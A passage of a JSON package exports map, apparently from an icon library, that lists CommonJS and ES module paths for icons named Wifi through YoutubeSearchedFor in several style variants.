\"./Wifi2BarOutlined.mjs\",\n      \"default\": \"./Wifi2BarOutlined.mjs\"\n    },\n    \"./Wifi2BarRounded\": {\n      \"require\": \"./Wifi2BarRounded.js\",\n      \"import\": \"./Wifi2BarRounded.mjs\",\n      \"default\": \"./Wifi2BarRounded.mjs\"\n    },\n    \"./Wifi2BarSharp\": {\n      \"require\": \"./Wifi2BarSharp.js\",\n      \"import\": \"./Wifi2BarSharp.mjs\",\n      \"default\": \"./Wifi2BarSharp.mjs\"\n    },\n    \"./Wifi2BarTwoTone\": {\n      \"require\": \"./Wifi2BarTwoTone.js\",\n      \"import\": \"./Wifi2BarTwoTone.mjs\",\n      \"default\": \"./Wifi2BarTwoTone.mjs\"\n    },\n    \"./WifiCalling\": {\n      \"require\": \"./WifiCalling.js\",\n      \"import\": \"./WifiCalling.mjs\",\n      \"default\": \"./WifiCalling.mjs\"\n    },\n    \"./WifiCalling1TwoTone\": {\n      \"require\": \"./WifiCalling1TwoTone.js\",\n      \"import\": \"./WifiCalling1TwoTone.mjs\",\n      \"default\": \"./WifiCalling1TwoTone.mjs\"\n    },\n    \"./WifiCalling2TwoTone\": {\n      \"import\": \"./WifiCalling2TwoTone.mjs\",\n      \"require\": \"./WifiCalling2TwoTone.js\",\n      \"default\": \"./WifiCalling2TwoTone.mjs\"\n    },\n    \"./WifiCalling3\": {\n      \"import\": \"./WifiCalling3.mjs\",\n      \"require\": \"./WifiCalling3.js\",\n      \"default\": \"./WifiCalling3.mjs\"\n    },\n    \"./WifiCalling3Outlined\": {\n      \"import\": \"./WifiCalling3Outlined.mjs\",\n      \"require\": \"./WifiCalling3Outlined.js\",\n      \"default\": \"./WifiCalling3Outlined.mjs\"\n    },\n    \"./WifiCalling3Rounded\": {\n      \"import\": \"./WifiCalling3Rounded.mjs\",\n      \"require\": \"./WifiCalling3Rounded.js\",\n      \"default\": \"./WifiCalling3Rounded.mjs\"\n    },\n    \"./WifiCalling3Sharp\": {\n      \"import\": \"./WifiCalling3Sharp.mjs\",\n      \"require\": \"./WifiCalling3Sharp.js\",\n      \"default\": \"./WifiCalling3Sharp.mjs\"\n    },\n    \"./WifiCalling3TwoTone\": {\n      \"import\": \"./WifiCalling3TwoTone.mjs\",\n      \"require\": \"./WifiCalling3TwoTone.js\",\n      \"default\": \"./WifiCalling3TwoTone.mjs\"\n    },\n    \"./WifiCallingOutlined\": {\n      \"import\": \"./WifiCallingOutlined.mjs\",\n      \"require\": \"./WifiCallingOutlined.js\",\n      \"default\": \"./WifiCallingOutlined.mjs\"\n    },\n    \"./WifiCallingRounded\": {\n      \"import\": \"./WifiCallingRounded.mjs\",\n      \"require\": \"./WifiCallingRounded.js\",\n      \"default\": \"./WifiCallingRounded.mjs\"\n    },\n    \"./WifiCallingSharp\": {\n      \"import\": \"./WifiCallingSharp.mjs\",\n      \"require\": \"./WifiCallingSharp.js\",\n      \"default\": \"./WifiCallingSharp.mjs\"\n    },\n    \"./WifiCallingTwoTone\": {\n      \"import\": \"./WifiCallingTwoTone.mjs\",\n      \"require\": \"./WifiCallingTwoTone.js\",\n      \"default\": \"./WifiCallingTwoTone.mjs\"\n    },\n    \"./WifiChannel\": {\n      \"import\": \"./WifiChannel.mjs\",\n      \"require\": \"./WifiChannel.js\",\n      \"default\": \"./WifiChannel.mjs\"\n    },\n    \"./WifiChannelOutlined\": {\n      \"require\": \"./WifiChannelOutlined.js\",\n      \"import\": \"./WifiChannelOutlined.mjs\",\n      \"default\": \"./WifiChannelOutlined.mjs\"\n    },\n    \"./WifiChannelRounded\": {\n      \"require\": \"./WifiChannelRounded.js\",\n      \"import\": \"./WifiChannelRounded.mjs\",\n      \"default\": \"./WifiChannelRounded.mjs\"\n    },\n    \"./WifiChannelSharp\": {\n      \"require\": \"./WifiChannelSharp.js\",\n      \"import\": \"./WifiChannelSharp.mjs\",\n      \"default\": \"./WifiChannelSharp.mjs\"\n    },\n    \"./WifiChannelTwoTone\": {\n      \"require\": \"./WifiChannelTwoTone.js\",\n      \"import\": \"./WifiChannelTwoTone.mjs\",\n      \"default\": \"./WifiChannelTwoTone.mjs\"\n    },\n    \"./WifiFind\": {\n      \"require\": \"./WifiFind.js\",\n      \"import\": \"./WifiFind.mjs\",\n      \"default\": \"./WifiFind.mjs\"\n    },\n    \"./WifiFindOutlined\": {\n      \"require\": \"./WifiFindOutlined.js\",\n      \"import\": \"./WifiFindOutlined.mjs\",\n      \"default\": \"./WifiFindOutlined.mjs\"\n    },\n    \"./WifiFindRounded\": {\n      \"import\": \"./WifiFindRounded.mjs\",\n      \"require\": \"./WifiFindRounded.js\",\n      \"default\": \"./WifiFindRounded.mjs\"\n    },\n    \"./WifiFindSharp\": {\n      \"import\": \"./WifiFindSharp.mjs\",\n      \"require\": \"./WifiFindSharp.js\",\n      \"default\": \"./WifiFindSharp.mjs\"\n    },\n    \"./WifiFindTwoTone\": {\n      \"import\": \"./WifiFindTwoTone.mjs\",\n      \"require\": \"./WifiFindTwoTone.js\",\n      \"default\": \"./WifiFindTwoTone.mjs\"\n    },\n    \"./WifiLock\": {\n      \"import\": \"./WifiLock.mjs\",\n      \"require\": \"./WifiLock.js\",\n      \"default\": \"./WifiLock.mjs\"\n    },\n    \"./WifiLockOutlined\": {\n      \"import\": \"./WifiLockOutlined.mjs\",\n      \"require\": \"./WifiLockOutlined.js\",\n      \"default\": \"./WifiLockOutlined.mjs\"\n    },\n    \"./WifiLockRounded\": {\n      \"import\": \"./WifiLockRounded.mjs\",\n      \"require\": \"./WifiLockRounded.js\",\n      \"default\": \"./WifiLockRounded.mjs\"\n    },\n    \"./WifiLockSharp\": {\n      \"import\": \"./WifiLockSharp.mjs\",\n      \"require\": \"./WifiLockSharp.js\",\n      \"default\": \"./WifiLockSharp.mjs\"\n    },\n    \"./WifiLockTwoTone\": {\n      \"import\": \"./WifiLockTwoTone.mjs\",\n      \"require\": \"./WifiLockTwoTone.js\",\n      \"default\": \"./WifiLockTwoTone.mjs\"\n    },\n    \"./WifiOff\": {\n      \"import\": \"./WifiOff.mjs\",\n      \"require\": \"./WifiOff.js\",\n      \"default\": \"./WifiOff.mjs\"\n    },\n    \"./WifiOffOutlined\": {\n      \"import\": \"./WifiOffOutlined.mjs\",\n      \"require\": \"./WifiOffOutlined.js\",\n      \"default\": \"./WifiOffOutlined.mjs\"\n    },\n    \"./WifiOffRounded\": {\n      \"import\": \"./WifiOffRounded.mjs\",\n      \"require\": \"./WifiOffRounded.js\",\n      \"default\": \"./WifiOffRounded.mjs\"\n    },\n    \"./WifiOffSharp\": {\n      \"import\": \"./WifiOffSharp.mjs\",\n      \"require\": \"./WifiOffSharp.js\",\n      \"default\": \"./WifiOffSharp.mjs\"\n    },\n    \"./WifiOffTwoTone\": {\n      \"import\": \"./WifiOffTwoTone.mjs\",\n      \"require\": \"./WifiOffTwoTone.js\",\n      \"default\": \"./WifiOffTwoTone.mjs\"\n    },\n    \"./WifiOutlined\": {\n      \"import\": \"./WifiOutlined.mjs\",\n      \"require\": \"./WifiOutlined.js\",\n      \"default\": \"./WifiOutlined.mjs\"\n    },\n    \"./WifiPassword\": {\n      \"import\": \"./WifiPassword.mjs\",\n      \"require\": \"./WifiPassword.js\",\n      \"default\": \"./WifiPassword.mjs\"\n    },\n    \"./WifiPasswordOutlined\": {\n      \"import\": \"./WifiPasswordOutlined.mjs\",\n      \"require\": \"./WifiPasswordOutlined.js\",\n      \"default\": \"./WifiPasswordOutlined.mjs\"\n    },\n    \"./WifiPasswordRounded\": {\n      \"import\": \"./WifiPasswordRounded.mjs\",\n      \"require\": \"./WifiPasswordRounded.js\",\n      \"default\": \"./WifiPasswordRounded.mjs\"\n    },\n    \"./WifiPasswordSharp\": {\n      \"import\": \"./WifiPasswordSharp.mjs\",\n      \"require\": \"./WifiPasswordSharp.js\",\n      \"default\": \"./WifiPasswordSharp.mjs\"\n    },\n    \"./WifiPasswordTwoTone\": {\n      \"import\": \"./WifiPasswordTwoTone.mjs\",\n      \"require\": \"./WifiPasswordTwoTone.js\",\n      \"default\": \"./WifiPasswordTwoTone.mjs\"\n    },\n    \"./WifiProtectedSetup\": {\n      \"import\": \"./WifiProtectedSetup.mjs\",\n      \"require\": \"./WifiProtectedSetup.js\",\n      \"default\": \"./WifiProtectedSetup.mjs\"\n    },\n    \"./WifiProtectedSetupOutlined\": {\n      \"import\": \"./WifiProtectedSetupOutlined.mjs\",\n      \"require\": \"./WifiProtectedSetupOutlined.js\",\n      \"default\": \"./WifiProtectedSetupOutlined.mjs\"\n    },\n    \"./WifiProtectedSetupRounded\": {\n      \"import\": \"./WifiProtectedSetupRounded.mjs\",\n      \"require\": \"./WifiProtectedSetupRounded.js\",\n      \"default\": \"./WifiProtectedSetupRounded.mjs\"\n    },\n    \"./WifiProtectedSetupSharp\": {\n      \"import\": \"./WifiProtectedSetupSharp.mjs\",\n      \"require\": \"./WifiProtectedSetupSharp.js\",\n      \"default\": \"./WifiProtectedSetupSharp.mjs\"\n    },\n    \"./WifiProtectedSetupTwoTone\": {\n      \"import\": \"./WifiProtectedSetupTwoTone.mjs\",\n      \"require\": \"./WifiProtectedSetupTwoTone.js\",\n      \"default\": \"./WifiProtectedSetupTwoTone.mjs\"\n    },\n    \"./WifiRounded\": {\n      \"require\": \"./WifiRounded.js\",\n      \"import\": \"./WifiRounded.mjs\",\n      \"default\": \"./WifiRounded.mjs\"\n    },\n    \"./WifiSharp\": {\n      \"require\": \"./WifiSharp.js\",\n      \"import\": \"./WifiSharp.mjs\",\n      \"default\": \"./WifiSharp.mjs\"\n    },\n    \"./WifiTethering\": {\n      \"require\": \"./WifiTethering.js\",\n      \"import\": \"./WifiTethering.mjs\",\n      \"default\": \"./WifiTethering.mjs\"\n    },\n    \"./WifiTetheringError\": {\n      \"require\": \"./WifiTetheringError.js\",\n      \"import\": \"./WifiTetheringError.mjs\",\n      \"default\": \"./WifiTetheringError.mjs\"\n    },\n    \"./WifiTetheringErrorOutlined\": {\n      \"require\": \"./WifiTetheringErrorOutlined.js\",\n      \"import\": \"./WifiTetheringErrorOutlined.mjs\",\n      \"default\": \"./WifiTetheringErrorOutlined.mjs\"\n    },\n    \"./WifiTetheringErrorRounded\": {\n      \"require\": \"./WifiTetheringErrorRounded.js\",\n      \"import\": \"./WifiTetheringErrorRounded.mjs\",\n      \"default\": \"./WifiTetheringErrorRounded.mjs\"\n    },\n    \"./WifiTetheringErrorRoundedOutlined\": {\n      \"require\": \"./WifiTetheringErrorRoundedOutlined.js\",\n      \"import\": \"./WifiTetheringErrorRoundedOutlined.mjs\",\n      \"default\": \"./WifiTetheringErrorRoundedOutlined.mjs\"\n    },\n    \"./WifiTetheringErrorRoundedRounded\": {\n      \"require\": \"./WifiTetheringErrorRoundedRounded.js\",\n      \"import\": \"./WifiTetheringErrorRoundedRounded.mjs\",\n      \"default\": \"./WifiTetheringErrorRoundedRounded.mjs\"\n    },\n    \"./WifiTetheringErrorRoundedSharp\": {\n      \"require\": \"./WifiTetheringErrorRoundedSharp.js\",\n      \"import\": \"./WifiTetheringErrorRoundedSharp.mjs\",\n      \"default\": \"./WifiTetheringErrorRoundedSharp.mjs\"\n    },\n    \"./WifiTetheringErrorRoundedTwoTone\": {\n      \"require\": \"./WifiTetheringErrorRoundedTwoTone.js\",\n      \"import\": \"./WifiTetheringErrorRoundedTwoTone.mjs\",\n      \"default\": \"./WifiTetheringErrorRoundedTwoTone.mjs\"\n    },\n    \"./WifiTetheringErrorSharp\": {\n      \"require\": \"./WifiTetheringErrorSharp.js\",\n      \"import\": \"./WifiTetheringErrorSharp.mjs\",\n      \"default\": \"./WifiTetheringErrorSharp.mjs\"\n    },\n    \"./WifiTetheringErrorTwoTone\": {\n      \"require\": \"./WifiTetheringErrorTwoTone.js\",\n      \"import\": \"./WifiTetheringErrorTwoTone.mjs\",\n      \"default\": \"./WifiTetheringErrorTwoTone.mjs\"\n    },\n    \"./WifiTetheringOff\": {\n      \"require\": \"./WifiTetheringOff.js\",\n      \"import\": \"./WifiTetheringOff.mjs\",\n      \"default\": \"./WifiTetheringOff.mjs\"\n    },\n    \"./WifiTetheringOffOutlined\": {\n      \"require\": \"./WifiTetheringOffOutlined.js\",\n      \"import\": \"./WifiTetheringOffOutlined.mjs\",\n      \"default\": \"./WifiTetheringOffOutlined.mjs\"\n    },\n    \"./WifiTetheringOffRounded\": {\n      \"require\": \"./WifiTetheringOffRounded.js\",\n      \"import\": \"./WifiTetheringOffRounded.mjs\",\n      \"default\": \"./WifiTetheringOffRounded.mjs\"\n    },\n    \"./WifiTetheringOffSharp\": {\n      \"require\": \"./WifiTetheringOffSharp.js\",\n      \"import\": \"./WifiTetheringOffSharp.mjs\",\n      \"default\": \"./WifiTetheringOffSharp.mjs\"\n    },\n    \"./WifiTetheringOffTwoTone\": {\n      \"require\": \"./WifiTetheringOffTwoTone.js\",\n      \"import\": \"./WifiTetheringOffTwoTone.mjs\",\n      \"default\": \"./WifiTetheringOffTwoTone.mjs\"\n    },\n    \"./WifiTetheringOutlined\": {\n      \"import\": \"./WifiTetheringOutlined.mjs\",\n      \"require\": \"./WifiTetheringOutlined.js\",\n      \"default\": \"./WifiTetheringOutlined.mjs\"\n    },\n    \"./WifiTetheringRounded\": {\n      \"import\": \"./WifiTetheringRounded.mjs\",\n      \"require\": \"./WifiTetheringRounded.js\",\n      \"default\": \"./WifiTetheringRounded.mjs\"\n    },\n    \"./WifiTetheringSharp\": {\n      \"import\": \"./WifiTetheringSharp.mjs\",\n      \"require\": \"./WifiTetheringSharp.js\",\n      \"default\": \"./WifiTetheringSharp.mjs\"\n    },\n    \"./WifiTetheringTwoTone\": {\n      \"import\": \"./WifiTetheringTwoTone.mjs\",\n      \"require\": \"./WifiTetheringTwoTone.js\",\n      \"default\": \"./WifiTetheringTwoTone.mjs\"\n    },\n    \"./WifiTwoTone\": {\n      \"require\": \"./WifiTwoTone.js\",\n      \"import\": \"./WifiTwoTone.mjs\",\n      \"default\": \"./WifiTwoTone.mjs\"\n    },\n    \"./WindPower\": {\n      \"require\": \"./WindPower.js\",\n      \"import\": \"./WindPower.mjs\",\n      \"default\": \"./WindPower.mjs\"\n    },\n    \"./WindPowerOutlined\": {\n      \"import\": \"./WindPowerOutlined.mjs\",\n      \"require\": \"./WindPowerOutlined.js\",\n      \"default\": \"./WindPowerOutlined.mjs\"\n    },\n    \"./WindPowerRounded\": {\n      \"import\": \"./WindPowerRounded.mjs\",\n      \"require\": \"./WindPowerRounded.js\",\n      \"default\": \"./WindPowerRounded.mjs\"\n    },\n    \"./WindPowerSharp\": {\n      \"import\": \"./WindPowerSharp.mjs\",\n      \"require\": \"./WindPowerSharp.js\",\n      \"default\": \"./WindPowerSharp.mjs\"\n    },\n    \"./WindPowerTwoTone\": {\n      \"import\": \"./WindPowerTwoTone.mjs\",\n      \"require\": \"./WindPowerTwoTone.js\",\n      \"default\": \"./WindPowerTwoTone.mjs\"\n    },\n    \"./Window\": {\n      \"import\": \"./Window.mjs\",\n      \"require\": \"./Window.js\",\n      \"default\": \"./Window.mjs\"\n    },\n    \"./WindowOutlined\": {\n      \"import\": \"./WindowOutlined.mjs\",\n      \"require\": \"./WindowOutlined.js\",\n      \"default\": \"./WindowOutlined.mjs\"\n    },\n    \"./WindowRounded\": {\n      \"import\": \"./WindowRounded.mjs\",\n      \"require\": \"./WindowRounded.js\",\n      \"default\": \"./WindowRounded.mjs\"\n    },\n    \"./WindowSharp\": {\n      \"import\": \"./WindowSharp.mjs\",\n      \"require\": \"./WindowSharp.js\",\n      \"default\": \"./WindowSharp.mjs\"\n    },\n    \"./WindowTwoTone\": {\n      \"import\": \"./WindowTwoTone.mjs\",\n      \"require\": \"./WindowTwoTone.js\",\n      \"default\": \"./WindowTwoTone.mjs\"\n    },\n    \"./WineBar\": {\n      \"import\": \"./WineBar.mjs\",\n      \"require\": \"./WineBar.js\",\n      \"default\": \"./WineBar.mjs\"\n    },\n    \"./WineBarOutlined\": {\n      \"require\": \"./WineBarOutlined.js\",\n      \"import\": \"./WineBarOutlined.mjs\",\n      \"default\": \"./WineBarOutlined.mjs\"\n    },\n    \"./WineBarRounded\": {\n      \"require\": \"./WineBarRounded.js\",\n      \"import\": \"./WineBarRounded.mjs\",\n      \"default\": \"./WineBarRounded.mjs\"\n    },\n    \"./WineBarSharp\": {\n      \"require\": \"./WineBarSharp.js\",\n      \"import\": \"./WineBarSharp.mjs\",\n      \"default\": \"./WineBarSharp.mjs\"\n    },\n    \"./WineBarTwoTone\": {\n      \"require\": \"./WineBarTwoTone.js\",\n      \"import\": \"./WineBarTwoTone.mjs\",\n      \"default\": \"./WineBarTwoTone.mjs\"\n    },\n    \"./Woman\": {\n      \"require\": \"./Woman.js\",\n      \"import\": \"./Woman.mjs\",\n      \"default\": \"./Woman.mjs\"\n    },\n    \"./Woman2\": {\n      \"require\": \"./Woman2.js\",\n      \"import\": \"./Woman2.mjs\",\n      \"default\": \"./Woman2.mjs\"\n    },\n    \"./Woman2Outlined\": {\n      \"require\": \"./Woman2Outlined.js\",\n      \"import\": \"./Woman2Outlined.mjs\",\n      \"default\": \"./Woman2Outlined.mjs\"\n    },\n    \"./Woman2Rounded\": {\n      \"require\": \"./Woman2Rounded.js\",\n      \"import\": \"./Woman2Rounded.mjs\",\n      \"default\": \"./Woman2Rounded.mjs\"\n    },\n    \"./Woman2Sharp\": {\n      \"require\": \"./Woman2Sharp.js\",\n      \"import\": \"./Woman2Sharp.mjs\",\n      \"default\": \"./Woman2Sharp.mjs\"\n    },\n    \"./Woman2TwoTone\": {\n      \"require\": \"./Woman2TwoTone.js\",\n      \"import\": \"./Woman2TwoTone.mjs\",\n      \"default\": \"./Woman2TwoTone.mjs\"\n    },\n    \"./WomanOutlined\": {\n      \"require\": \"./WomanOutlined.js\",\n      \"import\": \"./WomanOutlined.mjs\",\n      \"default\": \"./WomanOutlined.mjs\"\n    },\n    \"./WomanRounded\": {\n      \"require\": \"./WomanRounded.js\",\n      \"import\": \"./WomanRounded.mjs\",\n      \"default\": \"./WomanRounded.mjs\"\n    },\n    \"./WomanSharp\": {\n      \"import\": \"./WomanSharp.mjs\",\n      \"require\": \"./WomanSharp.js\",\n      \"default\": \"./WomanSharp.mjs\"\n    },\n    \"./WomanTwoTone\": {\n      \"import\": \"./WomanTwoTone.mjs\",\n      \"require\": \"./WomanTwoTone.js\",\n      \"default\": \"./WomanTwoTone.mjs\"\n    },\n    \"./Work\": {\n      \"import\": \"./Work.mjs\",\n      \"require\": \"./Work.js\",\n      \"default\": \"./Work.mjs\"\n    },\n    \"./WorkHistory\": {\n      \"require\": \"./WorkHistory.js\",\n      \"import\": \"./WorkHistory.mjs\",\n      \"default\": \"./WorkHistory.mjs\"\n    },\n    \"./WorkHistoryOutlined\": {\n      \"require\": \"./WorkHistoryOutlined.js\",\n      \"import\": \"./WorkHistoryOutlined.mjs\",\n      \"default\": \"./WorkHistoryOutlined.mjs\"\n    },\n    \"./WorkHistoryRounded\": {\n      \"require\": \"./WorkHistoryRounded.js\",\n      \"import\": \"./WorkHistoryRounded.mjs\",\n      \"default\": \"./WorkHistoryRounded.mjs\"\n    },\n    \"./WorkHistorySharp\": {\n      \"require\": \"./WorkHistorySharp.js\",\n      \"import\": \"./WorkHistorySharp.mjs\",\n      \"default\": \"./WorkHistorySharp.mjs\"\n    },\n    \"./WorkHistoryTwoTone\": {\n      \"require\": \"./WorkHistoryTwoTone.js\",\n      \"import\": \"./WorkHistoryTwoTone.mjs\",\n      \"default\": \"./WorkHistoryTwoTone.mjs\"\n    },\n    \"./WorkOff\": {\n      \"require\": \"./WorkOff.js\",\n      \"import\": \"./WorkOff.mjs\",\n      \"default\": \"./WorkOff.mjs\"\n    },\n    \"./WorkOffOutlined\": {\n      \"require\": \"./WorkOffOutlined.js\",\n      \"import\": \"./WorkOffOutlined.mjs\",\n      \"default\": \"./WorkOffOutlined.mjs\"\n    },\n    \"./WorkOffRounded\": {\n      \"require\": \"./WorkOffRounded.js\",\n      \"import\": \"./WorkOffRounded.mjs\",\n      \"default\": \"./WorkOffRounded.mjs\"\n    },\n    \"./WorkOffSharp\": {\n      \"require\": \"./WorkOffSharp.js\",\n      \"import\": \"./WorkOffSharp.mjs\",\n      \"default\": \"./WorkOffSharp.mjs\"\n    },\n    \"./WorkOffTwoTone\": {\n      \"require\": \"./WorkOffTwoTone.js\",\n      \"import\": \"./WorkOffTwoTone.mjs\",\n      \"default\": \"./WorkOffTwoTone.mjs\"\n    },\n    \"./WorkOutline\": {\n      \"require\": \"./WorkOutline.js\",\n      \"import\": \"./WorkOutline.mjs\",\n      \"default\": \"./WorkOutline.mjs\"\n    },\n    \"./WorkOutlineOutlined\": {\n      \"require\": \"./WorkOutlineOutlined.js\",\n      \"import\": \"./WorkOutlineOutlined.mjs\",\n      \"default\": \"./WorkOutlineOutlined.mjs\"\n    },\n    \"./WorkOutlineRounded\": {\n      \"require\": \"./WorkOutlineRounded.js\",\n      \"import\": \"./WorkOutlineRounded.mjs\",\n      \"default\": \"./WorkOutlineRounded.mjs\"\n    },\n    \"./WorkOutlineSharp\": {\n      \"require\": \"./WorkOutlineSharp.js\",\n      \"import\": \"./WorkOutlineSharp.mjs\",\n      \"default\": \"./WorkOutlineSharp.mjs\"\n    },\n    \"./WorkOutlineTwoTone\": {\n      \"require\": \"./WorkOutlineTwoTone.js\",\n      \"import\": \"./WorkOutlineTwoTone.mjs\",\n      \"default\": \"./WorkOutlineTwoTone.mjs\"\n    },\n    \"./WorkOutlined\": {\n      \"import\": \"./WorkOutlined.mjs\",\n      \"require\": \"./WorkOutlined.js\",\n      \"default\": \"./WorkOutlined.mjs\"\n    },\n    \"./WorkRounded\": {\n      \"import\": \"./WorkRounded.mjs\",\n      \"require\": \"./WorkRounded.js\",\n      \"default\": \"./WorkRounded.mjs\"\n    },\n    \"./WorkSharp\": {\n      \"import\": \"./WorkSharp.mjs\",\n      \"require\": \"./WorkSharp.js\",\n      \"default\": \"./WorkSharp.mjs\"\n    },\n    \"./WorkTwoTone\": {\n      \"import\": \"./WorkTwoTone.mjs\",\n      \"require\": \"./WorkTwoTone.js\",\n      \"default\": \"./WorkTwoTone.mjs\"\n    },\n    \"./WorkspacePremium\": {\n      \"require\": \"./WorkspacePremium.js\",\n      \"import\": \"./WorkspacePremium.mjs\",\n      \"default\": \"./WorkspacePremium.mjs\"\n    },\n    \"./WorkspacePremiumOutlined\": {\n      \"require\": \"./WorkspacePremiumOutlined.js\",\n      \"import\": \"./WorkspacePremiumOutlined.mjs\",\n      \"default\": \"./WorkspacePremiumOutlined.mjs\"\n    },\n    \"./WorkspacePremiumRounded\": {\n      \"require\": \"./WorkspacePremiumRounded.js\",\n      \"import\": \"./WorkspacePremiumRounded.mjs\",\n      \"default\": \"./WorkspacePremiumRounded.mjs\"\n    },\n    \"./WorkspacePremiumSharp\": {\n      \"require\": \"./WorkspacePremiumSharp.js\",\n      \"import\": \"./WorkspacePremiumSharp.mjs\",\n      \"default\": \"./WorkspacePremiumSharp.mjs\"\n    },\n    \"./WorkspacePremiumTwoTone\": {\n      \"require\": \"./WorkspacePremiumTwoTone.js\",\n      \"import\": \"./WorkspacePremiumTwoTone.mjs\",\n      \"default\": \"./WorkspacePremiumTwoTone.mjs\"\n    },\n    \"./Workspaces\": {\n      \"import\": \"./Workspaces.mjs\",\n      \"require\": \"./Workspaces.js\",\n      \"default\": \"./Workspaces.mjs\"\n    },\n    \"./WorkspacesFilled\": {\n      \"import\": \"./WorkspacesFilled.mjs\",\n      \"require\": \"./WorkspacesFilled.js\",\n      \"default\": \"./WorkspacesFilled.mjs\"\n    },\n    \"./WorkspacesOutline\": {\n      \"import\": \"./WorkspacesOutline.mjs\",\n      \"require\": \"./WorkspacesOutline.js\",\n      \"default\": \"./WorkspacesOutline.mjs\"\n    },\n    \"./WorkspacesOutlined\": {\n      \"import\": \"./WorkspacesOutlined.mjs\",\n      \"require\": \"./WorkspacesOutlined.js\",\n      \"default\": \"./WorkspacesOutlined.mjs\"\n    },\n    \"./WorkspacesRounded\": {\n      \"import\": \"./WorkspacesRounded.mjs\",\n      \"require\": \"./WorkspacesRounded.js\",\n      \"default\": \"./WorkspacesRounded.mjs\"\n    },\n    \"./WorkspacesSharp\": {\n      \"import\": \"./WorkspacesSharp.mjs\",\n      \"require\": \"./WorkspacesSharp.js\",\n      \"default\": \"./WorkspacesSharp.mjs\"\n    },\n    \"./WorkspacesTwoTone\": {\n      \"import\": \"./WorkspacesTwoTone.mjs\",\n      \"require\": \"./WorkspacesTwoTone.js\",\n      \"default\": \"./WorkspacesTwoTone.mjs\"\n    },\n    \"./WrapText\": {\n      \"import\": \"./WrapText.mjs\",\n      \"require\": \"./WrapText.js\",\n      \"default\": \"./WrapText.mjs\"\n    },\n    \"./WrapTextOutlined\": {\n      \"import\": \"./WrapTextOutlined.mjs\",\n      \"require\": \"./WrapTextOutlined.js\",\n      \"default\": \"./WrapTextOutlined.mjs\"\n    },\n    \"./WrapTextRounded\": {\n      \"import\": \"./WrapTextRounded.mjs\",\n      \"require\": \"./WrapTextRounded.js\",\n      \"default\": \"./WrapTextRounded.mjs\"\n    },\n    \"./WrapTextSharp\": {\n      \"import\": \"./WrapTextSharp.mjs\",\n      \"require\": \"./WrapTextSharp.js\",\n      \"default\": \"./WrapTextSharp.mjs\"\n    },\n    \"./WrapTextTwoTone\": {\n      \"import\": \"./WrapTextTwoTone.mjs\",\n      \"require\": \"./WrapTextTwoTone.js\",\n      \"default\": \"./WrapTextTwoTone.mjs\"\n    },\n    \"./WrongLocation\": {\n      \"import\": \"./WrongLocation.mjs\",\n      \"require\": \"./WrongLocation.js\",\n      \"default\": \"./WrongLocation.mjs\"\n    },\n    \"./WrongLocationOutlined\": {\n      \"import\": \"./WrongLocationOutlined.mjs\",\n      \"require\": \"./WrongLocationOutlined.js\",\n      \"default\": \"./WrongLocationOutlined.mjs\"\n    },\n    \"./WrongLocationRounded\": {\n      \"import\": \"./WrongLocationRounded.mjs\",\n      \"require\": \"./WrongLocationRounded.js\",\n      \"default\": \"./WrongLocationRounded.mjs\"\n    },\n    \"./WrongLocationSharp\": {\n      \"import\": \"./WrongLocationSharp.mjs\",\n      \"require\": \"./WrongLocationSharp.js\",\n      \"default\": \"./WrongLocationSharp.mjs\"\n    },\n    \"./WrongLocationTwoTone\": {\n      \"import\": \"./WrongLocationTwoTone.mjs\",\n      \"require\": \"./WrongLocationTwoTone.js\",\n      \"default\": \"./WrongLocationTwoTone.mjs\"\n    },\n    \"./Wysiwyg\": {\n      \"import\": \"./Wysiwyg.mjs\",\n      \"require\": \"./Wysiwyg.js\",\n      \"default\": \"./Wysiwyg.mjs\"\n    },\n    \"./WysiwygOutlined\": {\n      \"import\": \"./WysiwygOutlined.mjs\",\n      \"require\": \"./WysiwygOutlined.js\",\n      \"default\": \"./WysiwygOutlined.mjs\"\n    },\n    \"./WysiwygRounded\": {\n      \"import\": \"./WysiwygRounded.mjs\",\n      \"require\": \"./WysiwygRounded.js\",\n      \"default\": \"./WysiwygRounded.mjs\"\n    },\n    \"./WysiwygSharp\": {\n      \"require\": \"./WysiwygSharp.js\",\n      \"import\": \"./WysiwygSharp.mjs\",\n      \"default\": \"./WysiwygSharp.mjs\"\n    },\n    \"./WysiwygTwoTone\": {\n      \"require\": \"./WysiwygTwoTone.js\",\n      \"import\": \"./WysiwygTwoTone.mjs\",\n      \"default\": \"./WysiwygTwoTone.mjs\"\n    },\n    \"./X\": {\n      \"require\": \"./X.js\",\n      \"import\": \"./X.mjs\",\n      \"default\": \"./X.mjs\"\n    },\n    \"./Yard\": {\n      \"require\": \"./Yard.js\",\n      \"import\": \"./Yard.mjs\",\n      \"default\": \"./Yard.mjs\"\n    },\n    \"./YardOutlined\": {\n      \"require\": \"./YardOutlined.js\",\n      \"import\": \"./YardOutlined.mjs\",\n      \"default\": \"./YardOutlined.mjs\"\n    },\n    \"./YardRounded\": {\n      \"import\": \"./YardRounded.mjs\",\n      \"require\": \"./YardRounded.js\",\n      \"default\": \"./YardRounded.mjs\"\n    },\n    \"./YardSharp\": {\n      \"import\": \"./YardSharp.mjs\",\n      \"require\": \"./YardSharp.js\",\n      \"default\": \"./YardSharp.mjs\"\n    },\n    \"./YardTwoTone\": {\n      \"import\": \"./YardTwoTone.mjs\",\n      \"require\": \"./YardTwoTone.js\",\n      \"default\": \"./YardTwoTone.mjs\"\n    },\n    \"./YouTube\": {\n      \"import\": \"./YouTube.mjs\",\n      \"require\": \"./YouTube.js\",\n      \"default\": \"./YouTube.mjs\"\n    },\n    \"./YoutubeSearchedFor\": {\n      \"import\": \"./YoutubeSearchedFor.mjs\",\n      \"require\": \"./YoutubeSearchedFor.js\",\n      \"default\": \"./YoutubeSearchedFor.mjs\"\n    },\n    \"./YoutubeSearchedForOutlined\": {\n      \"import\": \"./YoutubeSearchedForOutlined.mjs\",\n      \"require\": \"./YoutubeSearchedForOutlined.js\",\n      \"default\": \"./YoutubeSearchedForOutlined.mjs\"\n    },\n    \"./YoutubeSearchedForRounded\": {\n      \"require\": \"./YoutubeSearchedForRounded.js\",\n      \"import\": \"./YoutubeSearchedForRounded.mjs\",\n      \"default\": \"./YoutubeSearchedForRounded.mjs\"\n    },\n    \"./YoutubeSearchedForSharp\": {\n      \"require\": \"./YoutubeSearchedForSharp.js\",\n      \"import\": \"./YoutubeSearchedForSharp.mjs\",\n      \"default\": \"./YoutubeSearchedForSharp.mjs\"\n    },\n    \"./YoutubeSearchedForTwoTone\": {\n      \"require\": \"./YoutubeSearchedForTwoTone.js\",\n      \"import\": \"./YoutubeSearchedForTwoTone.mjs\",\n      \"default\": 